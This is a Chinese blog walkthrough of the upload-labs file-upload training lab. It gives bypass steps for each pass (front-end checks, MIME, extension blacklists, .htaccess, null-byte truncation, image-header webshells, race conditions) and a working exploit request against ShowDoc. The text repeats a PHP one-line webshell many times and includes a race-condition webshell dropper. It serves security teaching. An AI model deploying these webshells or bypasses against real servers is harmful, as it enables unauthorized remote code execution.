upload-labs-main-v1.0

upload-labs-main-v1.0

Pass-01【前端校验】

解题wp (By:独立团孙德胜Alan)

本Pass是客户端过滤,可以通过禁用JS的方式绕过!

1、打开第一关

1

2、上传一个普通的shell.php文件

<?php @eval($_POST('Alan'));?>

2

提示不允许上传

3

3、分析代码

4

发现是前端JS校验

4、前端js验证的绕过

对于前端js验证的绕过方法较为简单,我们可以将要上传的php文件改后缀名为jpg|png|gif,绕过js验证后,再用burp更改上传请求。或者浏览器禁用js后进行上传。

5

5、使用工具Burpsutie拦截,修改后缀名为.php

修改图片内容为一句话木马的内容:

<?php @eval($_POST('Alan'));?>

6

使用重放包功能上传Alan.php:

7

8

6、上传成功!

9

7、使用webshell连接工具连接即可。

Pass-02【MIME验证】

解题wp(By:独立团孙德胜Alan)

本pass在服务端对数据包的MIME进行检查!

1、打开第二关

1-169004222036511

2、上传一个普通的shell.php文件

<?php @eval($_POST('Alan'));?>

2-169004222036512

提示不允许上传。

3、分析代码

3-169004222036513

发现原来是检测了Content-Type头,于是我们可以通过修改头的方式绕过。

4、MIME绕过

对于验证了MIME的问题,我们可以使用Burpsutie抓包,修改Content-Type,绕过验证。

4-169004238427819

Pass-03【黑名单绕过】

解题wp(By:独立团孙德胜Alan)

本pass可以修改PHP后缀绕过!

1、打开第三关

1-169004243178030

2、上传一个普通的shell.php文件

<?php @eval($_POST('Alan'));?>

2-169004243178031

提示不允许上传.asp,.aspx,.php,.jsp后缀文件!

3、分析代码

3-169004243178032

发现原来过滤.php,但.php3 、Phtml等都可以被解析,成功绕过

4、绕过验证

我们可以使用Burpsutie抓包,修改后缀,绕过验证。

4-169004243178133

5-169004243178134

Pass-04【.htaccess绕过】

解题wp(By:独立团孙德胜Alan)

本pass可以使用中间件特性绕过! 请注意中间件版本!

1、打开第四关

1-169004245109640

2、上传一个普通的shell.php文件

<?php @eval($_POST('Alan'));?>

2-169004245109741

提示不允许上传

3、分析代码

3-169004245109742

发现转换了大小写,还有常见的后缀名,以及去除了字符串等众多过滤,\(img_path变量在拼接的时候用的是\)file_name变量(Pass-03用的是$file_ext)。所以可以使用的上传.htaccess(没在黑名单中且未对白名单文件重命名)内容是AddType application/x-httpd-php .jpg然后再上传一个.jpg文件(含php内容)就可以把.jpg当作php解析我们可以使用中间件的特性绕过。

4、我们可以使用Burpsutie抓包,利用中间件的特性绕过

Apache 中间件特性,可以尝试一下后缀为.htaccess的文件。
SetHandler application/x-httpd-php

分别上传.htaccess,shell.jpg

即可绕过

Pass-05【大小写绕过】

解题wp(By:独立团孙德胜Alan)

本pass可以通过修改后缀名的方式绕过

1、打开第五关

1-169004246568246

2、上传一个普通的shell.php文件

<?php @eval($_POST('Alan'));?>

2-169004246568247

提示不允许上传

3、分析代码

3-169004246568348

\(file_ext = strtolower(\)file_ext); //转换为小写

发现转换了大小写,还有常见的后缀名,以及去除了字符串等众多过滤,还过滤了.htaccess,但是仔细审计代码,其实可以通过修改后缀名为Php的方式绕过

4、我们可以使用Burpsutie抓包,利用修改后缀大小写的方法

4-169004246568349

Pass-06【Windows系统特性-空格绕过】

解题wp(By:独立团孙德胜Alan)

本pass可以通过增加空格的方式绕过,注意,此Pass需要修改PHP环境为5.2.17

1、打开第六关

1-169004272792454

2、上传一个普通的shell.php文件

<?php @eval($_POST('Alan'));?>

2-169004272792455

提示不允许上传

3、分析代码

3-169004272792456

\(file_ext = trim(\)file_ext); //首尾去空

抓包增加空格。window和linux系统文件名后缀都会自动过滤空格

4、我们可以使用Burpsutie抓包,利用windows系统特性绕过

4-169004272792457

Pass-07【Windows系统特性-.绕过】

解题wp(By:独立团孙德胜Alan)

本pass可以通过增加点的方式绕过,注意,此Pass需要修改PHP环境为5.2.17

1.打开第七关

1-169004345175162

2.上传一个普通的shell.php文件

<?php @eval($_POST('Alan'));?>

2-169004345175263

提示不允许上传

3.分析代码

3-169004345175264

\(file_ext = strrchr(\)file_name, '.');

抓包增加点即可,window系统文件名后缀都会自动过滤点

linux环境下也可增加点再上传,linux下不会过滤文件名最后的点

4.我们可以使用Burpsutie抓包,利用windows系统特性绕过

4-169004345175265

Pass-08【Windows文件流特性-::$DATA绕过】

解题wp(By:独立团孙德胜Alan)

本pass可以通过增加点的方式绕过

1.打开第八关

1-169004350525570

2.上传一个普通的shell.php文件

<?php @eval($_POST('Alan'));?>

2-169004350525571

提示不允许上传

3.分析代码

3-169004350525572

::$DATA 利用 Windows文件流特性绕过

4.我们可以使用Burpsutie抓包,利用windows文件流特性绕过

4-169004350525573

Pass-09【Windows文件流特性绕过-点+空格+点】

解题wp(By:独立团孙德胜Alan)

本pass可以通过增加点的方式绕过,注意,此Pass需要修改PHP环境为5.2.17

1.打开第九关

1-169004353433878

2.上传一个普通的shell.php文件

<?php @eval($_POST('Alan'));?>

2-169004353433879

提示不允许上传

3.分析代码

3-169004353433880

上传test.php. .(php后面加上点空格点)

4.我们可以使用Burpsutie抓包,利用特性绕过

4-169004353433881

Pass-10【双写文件名绕过】

解题wp(By:独立团孙德胜Alan)

本pass可以通过增加点的方式绕过,注意,此Pass需要修改PHP环境为5.2.17

1.打开第十关

1-169004356738586

2.上传一个普通的shell.php文件

<?php @eval($_POST('Alan'));?>

2-169004356738587

我们发现,上传的时候被去掉php了

3.分析代码

3-169004356738588

可以看到\(file_name = str_ireplace(\)deny_ext,"", $file_name),直接删除黑名单中的内容。但是这个代码凶起来连文件名的内容也删,这让我想起之前看的文章说不要试图修改用户的输入,直接禁止就行。

因为str_ireplace函数只使用了一次。直接使用双写绕过就行test.pphphp

4.我们可以使用Burpsutie抓包,双写php绕过

4-169004356738589

Pass-11【%00截断绕过-url】

解题wp(By:独立团孙德胜Alan)

本pass可以通过增加点的方式绕过,注意,此Pass需要修改PHP环境为5.2.17

1.打开第十一关

1-169004359618094

2.上传一个普通的shell.php文件

<?php @eval($_POST('Alan'));?>

2-169004359618095

3.分析代码

3-169004359618096

$img_path = \(_GET['save_path']."/".rand(10, 99).date("YmdHis").".".\)file_ext

//\(_GET和之前的\)_POST差不多,主要是可以进行抓包修改

然后通过

move_uploaded_file(\(temp_file,\)img_path)函数利用

%00截断

截取的数据包,把标记的内容修改成../upload/test.php%00。这样实际是将1.jpg的内容移动到test.php文件中了。

因为$img_path变量是../upload/test.php%00xxx.jpg。在php版本<5.3.4且magic_quotes_gpc=off时

以上为服务器phpinfo中的信息。../upload/test.php%00xxx.jpg会被认为../upload/test.php

利用move_uploaded_file函数,临时路径下的jpg文件内容写入../upload/test.php中

4.我们可以使用Burpsutie抓包,使用%00绕过

4-169004359618097

Pass-12【%00截断绕过-hex值】

解题wp(By:独立团孙德胜Alan)

本pass可以通过增加点的方式绕过,注意,此Pass需要修改PHP环境为5.2.17

1.打开第十二关

1-1690047700988102

2.上传一个普通的shell.php文件

<?php @eval($_POST('Alan'));?>

2-1690047700988103

3.分析代码

3-1690047700988104

Pass-11不一样的地方是Pass-12利用$_POST获取save_path,此参数也是可注入的。只是修改的地方和Pass-11不一样,Pass-12在Hex数据流中修改(Hex将报文中的字符全部转换成16进制)

%00和0x00截断

原理都是一样的,都是利用16进制的00截断原理 。

Pass-11中对url进行解码。将%00解码成0x00,而Pass-12中没有url解码这一步,直接在hex的值中修改。形成0x00截断。

4.我们可以使用Burpsutie抓包,使用%00绕过

4-1690047700988105

5-1690047700988106

Pass-13【图片马绕过】

解题wp(By:独立团孙德胜Alan)

本pass可以通过制作图片马绕过

1.打开第十三关

1-1690047719622112

2.上传一个普通的shell.php文件

<?php @eval($_POST('Alan'));?>

2-1690047719623113

3.分析代码

3-1690047719623114

源码中利用getReailFileType函数中fread函数读取文件开头两个字符,并利用unpack函数将字符转换成ascii码值,最后用intval连接取整(值为$typeCode)。

然后判断$typeCode为255216(0xff,0xd8)、13780(0x89,0x50)、7173(0x47,0x49)

JPG:对于JPG文件保留的文件头标识就多一些了(10行左右),可以直接在JPG文件都加php木马,但是会有如下错误。

PNG:89 50 4e 47 0d 0a 1a 0a(可以抓包修改hex,也可以找个真png,用编辑器打开,将文件头标识后面的内容替换成php木马就行)

GIF:GIF89a(直接在文件头加入,也可以抓包修改hex:47 49 46 38 39 61)

这是JPG因为文件内容有干扰PHP解析的数据出现,后删除部分内容上传后成功

4.我们可以本地制作一个图片马绕过

4-1690047719623115

5-1690047719623116

Pass-14【图片马绕过】

解题wp(By:独立团孙德胜Alan)

本pass可以通过制作图片马绕过

1.打开第十四关

1-1690047731347122

2.上传一个普通的shell.php文件

<?php @eval($_POST('Alan'));?>

2-1690047731347123

3.分析代码

3-1690047731347124

本Pass主要利用isImage函数来判断上传的文件是不是图片类型(不仅仅是三种常规类型图片)。来看看isImage函数干了什么事情:

首先利用getimagesize函数检测文件类型。

然后利用image_type_to_extension函数对getimagesize函数返回的数组索引2(Array[2])作后缀名转换,最后用stripos函数检测image_type_to_extension函数返回的结果是否在变量$types白名单中。

所以关键就是getimagesize函数,它的工作原理是什么,什么样的文件会让它返回的数组的索引 2 为"白名单数字",怎么样去绕过它?

所以getimagesize函数不是绝对安全的,关键看怎么去使用它。对于本Pass只检测getimagesize($file)[2]的值,其绕过方式和Pass-13相似。只是文件头多保留几位罢了。

JPG:对于JPG文件保留的文件头标识就多一些了(10行左右),可以直接在JPG文件都加php木马,但是会有如下错误。

PNG:89 50 4e 47 0d 0a 1a 0a(可以抓包修改hex,也可以找个真png,用编辑器打开,将文件头标识后面的内容替换成php木马就行)

GIF:GIF89a(直接在文件头加入,也可以抓包修改hex:47 49 46 38 39 61)

4.我们可以本地制作一个图片马绕过

4-1690047731347125

5-1690047731347126

Pass-15【图片马绕过】

解题wp(By:独立团孙德胜Alan)

本pass可以通过制作图片马绕过

1.打开第十五关

1-1690047741448132

2.上传一个普通的shell.php文件

<?php @eval($_POST('Alan'));?>

2-1690047741448133

3.分析代码

3-1690047741448134

本Pass中使用的是exif_imagetype函数来检测上传的文件是否为图片,其返回值和Pass-14中getimagesize函数返回值的索引2是一样的

4.我们可以本地制作一个图片马绕过

4-1690047741448135

5-1690047741448136

Pass-16【二次渲染绕过】

解题wp(By:独立团孙德胜Alan)

本pass主要考察二次渲染

1.打开第十六关

1-1690047768988142

2.上传一个普通的shell.php文件

<?php @eval($_POST('Alan'));?>

2-1690047768988143

3.分析代码

3-1690047768988144

源码中使用imagecreatefrom...函数对图片文件进行二次渲染。该函数调用了PHP GD库(GD库,是php处理图形的扩展库),对图片进行了转换。

将一个正常显示的图片,上传到服务器。下载被渲染后与原始图片对比,在仍然相同的数据块部分内部插入Webshell代码,然后上传。

4.我们可以通过先上传一个图片文件,然后下载回来,再上传一次,再下载的方式绕过

具体原理,可见:

https://www.fujieace.com/penetration-test/upload-labs-pass-16.html

5-1690047768988145

Pass-17【条件竞争绕过】

解题wp(By:独立团孙德胜Alan)

本pass主要考察条件竞争

1.打开第十七关

1-1690047782096150

2.上传一个普通的shell.php文件

<?php @eval($_POST('Alan'));?>

2-1690047782096151

3.分析代码

3-1690047782096152

本Pass解除了利用文件包含漏洞,仔细读代码发现源码中先判断move_uploaded_file函数是否执行成功,然后再判断上传的文件后缀名是否在白名单中,如果不在白名单中则用unlink函数删除文件。

可以通过条件竞争的方式在unlink函数执行之前访问上传文件。

4.我们可以通过上传一个能生成新的文件的木马,然后不停访问它

使用Burpsuite抓包上传shell.php
内容:

<?php fputs(fopen('Alan.php','w'),'<?php @eval($_POST["Alan"])?>’);?>

作用:
只要访问了shell.php文件,php文件就会成功解析执行,自动创建一个Alan.php,写入一句话木马:

<?php @eval($_POST["Alan"]);?>

然后写两个脚本,一个是上传shell.php的脚本

一个是访问/shell.php的脚本

线程拉大即可

Pass-18【.htaccess+条件竞争绕过】

解题wp(By:独立团孙德胜Alan)

本pass主要考察条件竞争,以及后缀名绕过

1.打开第十八关

1-1690047791808156

2.上传一个普通的shell.php文件

<?php @eval($_POST('Alan'));?>

2-1690047791808157

3.分析代码

本Pass解除了利用文件包含漏洞,仔细读代码发现源码中先判断move_uploaded_file函数是否执行成功,然后再判断上传的文件后缀名是否在白名单中,如果不在白名单中则用unlink函数删除文件。

可以通过条件竞争的方式在unlink函数执行之前访问上传文件。

然后又加了限制,白名单中存在.7z,apache不能解析,因此可以利用apache的解析漏洞,命名文件为1.php.7z,这样,apche从右往左解析时,遇到.7z不认识,就把这个文件当作.php来解析

4.我们可以通过上传一个能生成新的文件的木马,然后不停访问它

使用Burpsuite抓包上传shell.php.7z
内容:

<?php fputs(fopen('Alan.php','w'),'<?php @eval($_POST["Alan"])?>’);?>

剩下的和第17关一样

Pass-19【%00截断绕过或.绕过】

解题wp(By:独立团孙德胜Alan)

本pass主要考察代码审计能力

1.打开第十九关

1-1690047817380168

2.上传一个普通的shell.php文件

<?php @eval($_POST('Alan'));?>

2-1690047817380169

发现强制性改成了upload-19.jpg

3.分析代码

3-1690047817380170

黑名单策略,文件名用户可控,取文件名通过$_POST来获取。

名单策略,文件名用户可控,文件命名shell.php.绕过

上传shell.php文件,保存名称改为upload-19.php.绕过黑名单

4.修改upload-19.php.即可绕过,也可以通过截断方式绕过

特别注意,如果使用upload-19.php.绕过,需要修改PHP环境为5.2.17

5-1690047817380171

或者保存名自动变为upload-19.jpg,改为upload-19.php(0x00).jpg,可以用move_uploaded_file函数的00截断漏洞绕过。

Pass-20【代码审计】

解题wp(By:独立团孙德胜Alan)

本pass主要考察代码审计能力

1.打开第二十关

1-1690047845743176

2.上传一个普通的shell.php文件

<?php @eval($_POST('Alan'));?>

2-1690050217949181

发现上传失败

3.分析代码

3-1690047845744178

$file_name经过reset($file) . '.' . $file[count($file) - 1];处理。
上传的是数组的话,会跳过$file = explode('.', strtolower($file));

后缀有白名单过滤
$ext = end($file);
$allow_suffix = array('jpg','png','gif');
最终的文件名后缀取的是$file[count($file) - 1],我们可以通过让$file为数组。$file[0]为smi1e.php/,也就是reset($file),然后再令$file[2]为白名单中的jpg。

此时end($file)等于jpg,$file[count($file) - 1]为空。而 $file_name = reset($file) . '.' . $file[count($file) - 1];,也就是1.php/.,最终move_uploaded_file会忽略掉/.,最终上传1.php

说明:

empty函数:检查一下变量是否为空;返回值:如果变量是非零非空的值返回False,否则返回True;

三运运算符:(expr1) ? (expr2) : (expr3);  如果条件expr1 成立,执行expr2,否则执行expr3;

end函数:将内部指针指向数组最后一个元素并输出;

reset函数:将内部指针指向数组第一个元素并输出;

4.如图所示,两种方式均可

4

Pass-21【FCKeditor文本编辑器漏洞】

FCKeditor文本编辑器漏洞

https://www.ngui.cc/zz/1787212.html?action=onClick

Pass-22【ShowDoc文件上传漏洞】

ShowDoc存在一个上传漏洞的位置
ShowDoc < V2.8.3都可利用

EXP:
POST /Pass-22/index.php?s=/home/page/uploadImg HTTP/1.1
Host: 192.168.3.99
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Content-Length: 241
Content-Type: multipart/form-data; boundary=--------------------------921378126371623762173617
Accept-Encoding: gzip

----------------------------921378126371623762173617
Content-Disposition: form-data; name="editormd-image-file"; filename="test.<>php"
Content-Type: text/plain

<?php phpinfo();?>
----------------------------921378126371623762173617--

Pass-23【通达OA v11.8】

通达OA系统11.8漏洞

Pass-24【通达OA v11.2】

通达OA系统11.2漏洞

image-20231001232329418

posted @ 2024-01-26 09:46  gcc_com  阅读(21)  评论(0编辑  收藏  举报